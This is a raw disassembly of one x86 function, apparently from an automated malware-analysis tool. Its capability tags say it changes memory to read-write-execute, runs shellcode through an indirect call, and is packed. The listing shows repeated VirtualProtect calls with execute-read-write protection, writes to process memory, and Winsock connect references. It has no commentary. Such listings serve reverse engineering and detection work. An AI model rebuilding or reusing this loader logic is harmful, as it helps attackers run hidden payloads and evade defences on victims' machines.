Function at 0x41764b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Packed with generic packer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
push 0x1c
call fcn.0046cc83
add esp, 4
mov dword [ebp - 0x10], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 7
rep stosd dword es:[edi], eax
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x20], 0
push 8
call fcn.0046cc83
add esp, 4
mov dword [ebp - 0x24], eax
mov edi, eax
mov esi, 0x4996d7
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
jmp 0x4176dd
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pushal
mov eax, 1
mov eax, 2
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 4
mov eax, 2
mov eax, 5
mov eax, 6
popal
cmp dword [0x5f5e6e], 0
je 0x41772a
jmp 0x4185d1
call fcn.004186b4
test eax, eax
je 0x417746
mov dword [0x5f5e6e], 1
jmp 0x4185d1
mov eax, 0x5f0dfe
test eax, eax
je 0x417762
push eax
mov eax, dword [eax + 4]
add eax, 8
push eax
call fcn.0046cc83
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x417773
push ebx
call fcn.0046cc7d
add esp, 4
pop eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x30], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1770
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
nop
nop
cmp dword [ebp - 0x30], esp
je 0x4177a7
push 6
call fcn.0046cc8f
add esp, 4
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
push 0x1770
push dword [ebp + 8]
push 0xffffffff
call fcn.004187c6
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4177dd
push ebx
call fcn.0046cc7d
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push dword [ebp - 4]
push 0x5f0e14
mov ecx, 2
call fcn.0040bedd
add esp, 8
mov dword [ebp - 0x30], eax
push 0
push 0
push 0
push getsockname
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x417812
mov eax, 0x4996d7
push eax
push getsockname
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x417826
mov eax, 0x4996d7
push eax
push 3
mov ebx, 0x1ac
call fcn.0046f9e0
add esp, 0x28
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x41784c
push ebx
call fcn.0046cc7d
add esp, 4
cmp dword [ebp - 0x34], 0xffffffff
je 0x4178d8
push 0
push 0
push 0
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0e1f
push 0x80000301
push 0
push 0x10
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0e41
push 4
mov ebx, 0x300
call fcn.0046e330
add esp, 0x34
push 0
push 0
push 0
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0e1f
push 0x80000301
push 0
push 0x10
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0e41
push 4
mov ebx, 0x300
call fcn.0046e330
add esp, 0x34
mov dword [0x5f5e6e], 1
cmp dword [0x5f5e6e], 0
jne 0x418598
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x5f0e7b]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 1
fld qword [ebp - 0x3c]
call fcn.00401925
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
nop
nop
cmp dword [ebp - 0x40], esp
je 0x41792d
push 6
call fcn.0046cc8f
add esp, 4
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x5f0e7b]
fstp qword [ebp - 0x3c]
push 0x80000301
push 0
push 1
fld qword [ebp - 0x3c]
call fcn.00401925
push 0x80000301
push 0
push eax
push 2
mov ebx, 0x910
call fcn.0046d910
add esp, 0x1c
mov dword [ebp - 0x40], eax
mov eax, 0x5f0e83
xor ecx, ecx
test eax, eax
je 0x41797e
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov eax, dword [ebp - 0x40]
xor ebx, ebx
test eax, eax
je 0x41798f
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x4179a6
dec eax
test ecx, ecx
je 0x4179a6
call fcn.004046c0
add esp, 0xc
test eax, eax
mov eax, 0
sete al
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x4179c6
push ebx
call fcn.0046cc7d
add esp, 4
cmp dword [ebp - 0x44], 0
je 0x417a52
push 0
push 0
push 0
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0e1f
push 0x80000301
push 0
push 0x10
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0e8c
push 4
mov ebx, 0x300
call fcn.0046e330
add esp, 0x34
push 0
push 0
push 0
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0e1f
push 0x80000301
push 0
push 0x10
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0e8c
push 4
mov ebx, 0x300
call fcn.0046e330
add esp, 0x34
mov dword [0x5f5e6e], 1
cmp dword [0x5f5e6e], 0
jne 0x418598
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x5f0e7b]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], esp
push 0x1c
push dword [ebp - 0x10]
fld qword [ebp - 0x3c]
call fcn.00401925
push eax
call dword [0x5f5f4a]
nop
nop
nop
nop
cmp dword [ebp - 0x40], esp
je 0x417aa1
push 6
call fcn.0046cc8f
add esp, 4
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push 0x40
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
nop
nop
cmp dword [ebp - 0x38], esp
je 0x417ae2
push 6
call fcn.0046cc8f
add esp, 4
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push 0x40
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
nop
nop
cmp dword [ebp - 0x38], esp
je 0x417b26
push 6
call fcn.0046cc8f
add esp, 4
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x5f0ec6]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1388
fld qword [ebp - 0x3c]
call fcn.00401925
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
nop
nop
cmp dword [ebp - 0x40], esp
je 0x417b6e
push 6
call fcn.0046cc8f
add esp, 4
mov dword [ebp - 0x30], esp
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1388
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
nop
nop
cmp dword [ebp - 0x30], esp
je 0x417b9e
push 6
call fcn.0046cc8f
add esp, 4
mov ebx, dword [ebp - 0x10]
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push 0xffffffff
call fcn.004187c6
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x417be5
push ebx
call fcn.0046cc7d
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
mov ebx, dword [ebp - 0x10]
add ebx, 4
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x30]
fild dword [ebx]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
fadd qword [0x5f0ece]
fstp qword [ebp - 0x40]
mov ebx, dword [ebp - 0x10]
add ebx, 0xc
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x44]
push dword [ebx]
fld qword [ebp - 0x40]
call fcn.00401925
push eax
push 0xffffffff
call fcn.004187c6
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x417c4b
push ebx
call fcn.0046cc7d
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
fild dword [ebp + 8]
fstp qword [ebp - 0x34]
fld qword [ebp - 0x34]
fsub qword [0x5f0ec6]
fstp qword [ebp - 0x3c]
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
push 0x1770
fld qword [ebp - 0x3c]
call fcn.00401925
push eax
push 0xffffffff
call fcn.004187c6
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x417c9d
push ebx
call fcn.0046cc7d
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
push 0x1770
push dword [ebp + 8]
push 0xffffffff
call fcn.004187c6
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x417cd7
push ebx
call fcn.0046cc7d
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 1
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x30], 0
push 0
push dword [ebp - 0x30]
call fcn.00418881
xor ecx, ecx
push eax
lea eax, [ebp - 0x28]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x41801d
mov ebx, dword [ebp - 0x24]
call fcn.00401747
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x417d26
push 4
call fcn.0046cc8f
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x417d39
push 1
call fcn.0046cc8f
add esp, 4
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
cmp dword [ebp + 8], eax
jle 0x418015
mov ebx, dword [ebp - 0x24]
call fcn.00401747
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x417d71
push 4
call fcn.0046cc8f
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x417d84
push 1
call fcn.0046cc8f
add esp, 4
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.00401747
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x417dae
push 4
call fcn.0046cc8f
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x417dc1
push 1
call fcn.0046cc8f
add esp, 4
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x30]
fild dword [ebx]
fstp qword [ebp - 0x3c]
fld qword [ebp - 0x3c]
mov ebx, dword [ebp - 0x34]
fild dword [ebx]
fstp qword [ebp - 0x44]
fadd qword [ebp - 0x44]
fstp qword [ebp - 0x4c]
fild dword [ebp + 8]
fstp qword [ebp - 0x54]
fld qword [ebp - 0x54]
fsub qword [ebp - 0x4c]
fcomp qword [0x5f0d39]
fnstsw ax
test ah, 1
je 0x418015
mov ebx, dword [ebp - 0x24]
call fcn.00401747
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x417e21
push 4
call fcn.0046cc8f
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x417e34
push 1
call fcn.0046cc8f
add esp, 4
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.00401747
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x417e5e
push 4
call fcn.0046cc8f
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x417e71
push 1
call fcn.0046cc8f
add esp, 4
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push 0x40
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
nop
nop
cmp dword [ebp - 0x38], esp
je 0x417eb0
push 6
call fcn.0046cc8f
add esp, 4
mov ebx, dword [ebp - 0x24]
call fcn.00401747
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x417ecd
push 4
call fcn.0046cc8f
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x417ee0
push 1
call fcn.0046cc8f
add esp, 4
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.00401747
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x417f0a
push 4
call fcn.0046cc8f
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x417f1d
push 1
call fcn.0046cc8f
add esp, 4
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
push 0xffffffff
call fcn.004187c6
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
push eax
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x417f62
push ebx
call fcn.0046cc7d
add esp, 4
pop eax
mov dword [ebp - 0x2c], eax
mov ebx, dword [ebp - 0x24]
call fcn.00401747
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x417f83
push 4
call fcn.0046cc8f
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x417f96
push 1
call fcn.0046cc8f
add esp, 4
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x1c
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x24]
call fcn.00401747
push ebx
push ecx
mov eax, dword [ebp - 0x28]
dec eax
jns 0x417fc0
push 4
call fcn.0046cc8f
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x417fd3
push 1
call fcn.0046cc8f
add esp, 4
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 0x18
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x38], esp
lea eax, [ebp - 8]
push eax
push dword [ebp - 8]
mov ebx, dword [ebp - 0x34]
push dword [ebx]
mov ebx, dword [ebp - 0x30]
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
nop
nop
nop
nop
cmp dword [ebp - 0x38], esp
je 0x418010
push 6
call fcn.0046cc8f
add esp, 4
jmp 0x41801d
pop eax
pop ebx
pop ecx
jmp 0x417cfb
add esp, 0xc
cmp dword [0x5f5e6e], 0
jne 0x4180a9
push dword [ebp - 4]
push 0x5f0e14
mov ecx, 2
call fcn.0040bedd
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push getsockname
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x41805e
mov eax, 0x4996d7
push eax
push getsockname
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x418072
mov eax, 0x4996d7
push eax
push 3
mov ebx, 0x1ac
call fcn.0046f9e0
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x418098
push ebx
call fcn.0046cc7d
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x4180a9
mov eax, 1
jmp 0x4180ae
mov eax, 0
test eax, eax
je 0x418138
push 0
push 0
push 0
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0e1f
push 0x80000301
push 0
push 0x10
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0ed6
push 4
mov ebx, 0x300
call fcn.0046e330
add esp, 0x34
push 0
push 0
push 0
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0e1f
push 0x80000301
push 0
push 0x10
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0ed6
push 4
mov ebx, 0x300
call fcn.0046e330
add esp, 0x34
mov dword [0x5f5e6e], 1
cmp dword [0x5f5e6e], 0
jne 0x4181c1
push dword [ebp - 4]
push 0x5f0e14
mov ecx, 2
call fcn.0040bedd
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push getsockname
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x418176
mov eax, 0x4996d7
push eax
push getsockname
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x41818a
mov eax, 0x4996d7
push eax
push 3
mov ebx, 0x1ac
call fcn.0046f9e0
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4181b0
push ebx
call fcn.0046cc7d
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x4181c1
mov eax, 1
jmp 0x4181c6
mov eax, 0
test eax, eax
je 0x418250
push 0
push 0
push 0
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0e1f
push 0x80000301
push 0
push 0x10
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0f10
push 4
mov ebx, 0x300
call fcn.0046e330
add esp, 0x34
push 0
push 0
push 0
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0e1f
push 0x80000301
push 0
push 0x10
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0f10
push 4
mov ebx, 0x300
call fcn.0046e330
add esp, 0x34
mov dword [0x5f5e6e], 1
cmp dword [0x5f5e6e], 0
jne 0x4182d9
push dword [ebp - 4]
push 0x5f0e14
mov ecx, 2
call fcn.0040bedd
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push getsockname
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x41828e
mov eax, 0x4996d7
push eax
push getsockname
push 0
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x4182a2
mov eax, 0x4996d7
push eax
push 3
mov ebx, 0x1ac
call fcn.0046f9e0
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4182c8
push ebx
call fcn.0046cc7d
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x4182d9
mov eax, 1
jmp 0x4182de
mov eax, 0
test eax, eax
je 0x418368
push 0
push 0
push 0
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0e1f
push 0x80000301
push 0
push 0x10
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0f4a
push 4
mov ebx, 0x300
call fcn.0046e330
add esp, 0x34
push 0
push 0
push 0
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0e1f
push 0x80000301
push 0
push 0x10
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0f4a
push 4
mov ebx, 0x300
call fcn.0046e330
add esp, 0x34
mov dword [0x5f5e6e], 1
cmp dword [0x5f5e6e], 0
jne 0x4183f1
push dword [ebp - 4]
push 0x5f0e14
mov ecx, 2
call fcn.0040bedd
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push getsockname
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4183a6
mov eax, 0x4996d7
push eax
push getsockname
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x4183ba
mov eax, 0x4996d7
push eax
push 3
mov ebx, 0x1ac
call fcn.0046f9e0
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4183e0
push ebx
call fcn.0046cc7d
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x4183f1
mov eax, 1
jmp 0x4183f6
mov eax, 0
test eax, eax
je 0x418480
push 0
push 0
push 0
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0e1f
push 0x80000301
push 0
push 0x10
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0f84
push 4
mov ebx, 0x300
call fcn.0046e330
add esp, 0x34
push 0
push 0
push 0
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0e1f
push 0x80000301
push 0
push 0x10
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0f84
push 4
mov ebx, 0x300
call fcn.0046e330
add esp, 0x34
mov dword [0x5f5e6e], 1
cmp dword [0x5f5e6e], 0
jne 0x418509
push dword [ebp - 4]
push 0x5f0e14
mov ecx, 2
call fcn.0040bedd
add esp, 8
mov dword [ebp - 0x34], eax
push 0
push 0
push 0
push getsockname
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x4184be
mov eax, 0x4996d7
push eax
push getsockname
push 0
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x4184d2
mov eax, 0x4996d7
push eax
push 3
mov ebx, 0x1ac
call fcn.0046f9e0
add esp, 0x28
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4184f8
push ebx
call fcn.0046cc7d
add esp, 4
cmp dword [ebp - 0x38], 0xffffffff
je 0x418509
mov eax, 1
jmp 0x41850e
mov eax, 0
test eax, eax
je 0x418598
push 0
push 0
push 0
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0e1f
push 0x80000301
push 0
push 0x10
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0fbe
push 4
mov ebx, 0x300
call fcn.0046e330
add esp, 0x34
push 0
push 0
push 0
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0e1f
push 0x80000301
push 0
push 0x10
push reloc.WSOCK32.dll_connect
push 0
push 0x5f0fbe
push 4
mov ebx, 0x300
call fcn.0046e330
add esp, 0x34
mov dword [0x5f5e6e], 1
mov dword [0x5f5e6e], 1
push ecx
push eax
mov eax, 1
mov ecx, 2
mov eax, 4
mov ecx, 2
pop eax
pop ecx
nop
jmp 0x4185cb
nop
nop
nop
nop
nop
nop
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4185e1
push ebx
call fcn.0046cc7d
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x4185f1
push ebx
call fcn.0046cc7d
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
call fcn.0046cc7d
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x41860d
push ebx
call fcn.0046cc7d
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x41861d
push ebx
call fcn.0046cc7d
add esp, 4
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x41862d
push ebx
call fcn.0046cc7d
add esp, 4
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x41863d
push ebx
call fcn.0046cc7d
add esp, 4
mov ebx, dword [ebp - 0x24]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x41865b
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x418657
imul eax, dword [ebx]
jmp 0x41864c
mov ecx, eax
test ecx, ecx
je 0x418696
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 0x20
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.0046cc7d
add esp, 4
pop ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
push ebx
call fcn.0046cc7d
add esp, 4
pop ebx
call fcn.0046cc7d
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x418661
call fcn.0046cc7d
add esp, 4
mov ebx, dword [ebp - 0x2c]
test ebx, ebx
je 0x4186ae
push ebx
call fcn.0046cc7d
add esp, 4
mov esp, ebp
pop ebp
ret 4